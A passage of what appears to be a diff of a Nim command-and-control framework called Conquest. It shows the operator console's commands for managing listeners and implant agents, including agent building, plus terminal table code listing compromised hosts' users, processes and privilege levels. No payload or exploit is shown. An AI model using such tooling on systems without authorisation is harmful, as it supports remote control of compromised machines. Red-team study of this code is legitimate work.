cq.listenerStart(opts.listener.get.start.get.ip, opts.listener.get.start.get.port)
of "stop":
cq.listenerStop(opts.listener.get.stop.get.name)
else:
cq.listenerUsage()
of "agent":
case opts.agent.get.command
of "list":
cq.agentList(opts.agent.get.list.get.listener)
of "info":
cq.agentInfo(opts.agent.get.info.get.name)
of "kill":
cq.agentKill(opts.agent.get.kill.get.name)
of "interact":
cq.agentInteract(opts.agent.get.interact.get.name)
of "build":
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.payload)
else:
cq.agentUsage()
# Handle help flag
except ShortCircuit as err:
if err.flag == "argparse_help":
cq.writeLine(err.help)
# Handle invalid arguments
except CatchableError:
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
cq.writeLine("")
proc header(cq: Conquest) =
cq.writeLine("")
cq.writeLine("┏┏┓┏┓┏┓┓┏┏┓┏╋")
cq.writeLine("┗┗┛┛┗┗┫┗┻┗ ┛┗ V0.1")
cq.writeLine(" ┗ @jakobfriedl")
cq.writeLine("".repeat(21))
cq.writeLine("")
#[
Conquest framework entry point
]#
proc main() =
# Handle CTRL+C,
proc exit() {.noconv.} =
echo "Received CTRL+C. Type \"exit\" to close the application.\n"
setControlCHook(exit)
# Initialize framework
let dbPath: string = "../src/server/db/conquest.db"
cq = initConquest(dbPath)
# Print header
cq.header()
# Initialize database
cq.dbInit()
cq.restartListeners()
cq.addMultiple(cq.dbGetAllAgents())
# Main loop
while true:
cq.setIndicator("[conquest]> ")
cq.setStatusBar(@[("[mode]", "manage"), ("[listeners]", $len(cq.listeners)), ("[agents]", $len(cq.agents))])
cq.showPrompt()
var command: string = cq.readLine()
cq.withOutput(handleConsoleCommand, command)
when isMainModule:
main()

171
src/server/utils.nim Normal file
View File

@@ -0,0 +1,171 @@
import strutils, terminal, tables, sequtils, times, strformat
import std/wordwrap
import ../types
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
# TODO: Verify that address is in correct, expected format
let octets = ip.split('.')
return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3]))
proc validatePort*(portStr: string): bool =
try:
let port: int = portStr.parseInt
return port >= 1 and port <= 65535
except ValueError:
return false
# Table border characters
type
Cell = object
text: string
fg: ForegroundColor = fgWhite
bg: BackgroundColor = bgDefault
style: Style
const topLeft = ""
const topMid = ""
const topRight= ""
const midLeft = ""
const midMid = ""
const midRight= ""
const botLeft = ""
const botMid = ""
const botRight= ""
const hor = ""
const vert = ""
# Wrap cell content
proc wrapCell(text: string, width: int): seq[string] =
result = text.wrapWords(width).splitLines()
# Format border
proc border(left, mid, right: string, widths: seq[int]): string =
var line = left
for i, w in widths:
line.add(hor.repeat(w + 2))
line.add(if i < widths.len - 1: mid else: right)
return line
# Format a row of data
proc formatRow(cells: seq[Cell], widths: seq[int]): seq[seq[Cell]] =
var wrappedCols: seq[seq[Cell]]
var maxLines = 1
for i, cell in cells:
let wrappedLines = wrapCell(cell.text, widths[i])
wrappedCols.add(wrappedLines.mapIt(Cell(text: it, fg: cell.fg, bg: cell.bg, style: cell.style)))
maxLines = max(maxLines, wrappedLines.len)
for line in 0 ..< maxLines:
var lineRow: seq[Cell] = @[]
for i, col in wrappedCols:
let lineText = if line < col.len: col[line].text else: ""
let base = cells[i]
lineRow.add(Cell(text: " " & lineText.alignLeft(widths[i]) & " ", fg: base.fg, bg: base.bg, style: base.style))
result.add(lineRow)
proc writeRow(cq: Conquest, row: seq[Cell]) =
stdout.write(vert)
for cell in row:
stdout.styledWrite(cell.fg, cell.bg, cell.style, cell.text, resetStyle, vert)
stdout.write("\n")
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
# Column headers and widths
let headers = @["Name", "Address", "Port", "Protocol", "Agents"]
let widths = @[8, 15, 5, 8, 6]
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
cq.writeLine(border(topLeft, topMid, topRight, widths))
for line in formatRow(headerCells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(midLeft, midMid, midRight, widths))
for l in listeners:
# Get number of agents connected to the listener
let connectedAgents = cq.agents.values.countIt(it.listener == l.name)
let rowCells = @[
Cell(text: l.name, fg: fgGreen),
Cell(text: l.address),
Cell(text: $l.port),
Cell(text: $l.protocol),
Cell(text: $connectedAgents)
]
for line in formatRow(rowCells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(botLeft, botMid, botRight, widths))
# Calculate time since latest checking in format: Xd Xh Xm Xs
proc timeSince*(agent: Agent, timestamp: DateTime): Cell =
let
now = now()
duration = now - timestamp
totalSeconds = int(duration.inSeconds)
let
days = totalSeconds div 86400
hours = (totalSeconds mod 86400) div 3600
minutes = (totalSeconds mod 3600) div 60
seconds = totalSeconds mod 60
var text = ""
if days > 0:
text &= fmt"{days}d "
if hours > 0 or days > 0:
text &= fmt"{hours}h "
if minutes > 0 or hours > 0 or days > 0:
text &= fmt"{minutes}m "
text &= fmt"{seconds}s"
return Cell(
text: text.strip(),
# When the agent is 'dead', meaning that the latest checkin occured
# more than the agents sleep configuration, dim the text style
style: if totalSeconds > agent.sleep: styleDim else: styleBright
)
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
let widths = @[8, 15, 15, 15, 16, 13, 5, 8]
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
cq.writeLine(border(topLeft, topMid, topRight, widths))
for line in formatRow(headerCells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(midLeft, midMid, midRight, widths))
for a in agents:
var cells = @[
Cell(text: a.name, fg: fgYellow, style: styleBright),
Cell(text: a.ip),
Cell(text: a.username),
Cell(text: a.hostname),
Cell(text: a.os),
Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite),
Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite),
a.timeSince(cq.agents[a.name].latestCheckin)
]
# Highlight agents running within elevated processes
for line in formatRow(cells, widths):
cq.hidePrompt()
cq.writeRow(line)
cq.showPrompt()
cq.writeLine(border(botLeft, botMid, botRight, widths))